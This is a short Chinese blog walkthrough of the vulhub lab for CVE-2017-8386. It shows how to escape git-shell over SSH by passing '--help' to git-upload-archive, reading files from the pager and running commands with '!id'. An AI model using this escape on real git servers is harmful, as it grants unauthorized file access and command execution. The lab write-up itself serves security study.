vulhub之git(CVE-2017-8386)

启动靶场环境

查看文件

修改属性

为了不和docker母机的ssh端口冲突,将容器的ssh端口设置成3322。本目录下我生成了一个id_rsa,这是ssh的私钥,连接的时候请指定之。

在连接以前,需要先设置私钥的权限为0600:chmod 0600 id_rsa,否则连接可能失败。

正常连接其ssh服务ssh -p 3322 -i id_rsa git@127.0.0.1,会被git-shell给拦截,返回错误fatal: unrecognized command '',并且连接被关闭。

执行

使用--help技巧,连接目标并进入帮助页面:

ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"

按住shift+e 输出你想查看的文件

回到帮助页面,输入!id执行命令:

(为什么是www-data用户 因为git用户和www-data用户编号都是33,所以其实他们是一个用户)

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-05-10 15:30:06       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-10 15:30:06       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-10 15:30:06       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-10 15:30:06       20 阅读

热门阅读

  1. MongoDB聚合运算符:$toInt

    2024-05-10 15:30:06       14 阅读
  2. python时间戳与时间字符串的转化

    2024-05-10 15:30:06       9 阅读
  3. Microsoft Edge使用心得与深度探索

    2024-05-10 15:30:06       13 阅读
  4. C++ 实现以xml的格式写入文件

    2024-05-10 15:30:06       12 阅读
  5. 单例类设计模式、call_once

    2024-05-10 15:30:06       9 阅读
  6. 迁移docker存储目录

    2024-05-10 15:30:06       9 阅读
  7. 329. 矩阵中的最长递增路径

    2024-05-10 15:30:06       12 阅读
  8. 新媒体昵称命名一定要注意的几点!

    2024-05-10 15:30:06       9 阅读
  9. 生物经济:生物技术的未来

    2024-05-10 15:30:06       10 阅读
  10. 十二届蓝桥杯Python组3月中/高级试题 第五题

    2024-05-10 15:30:06       11 阅读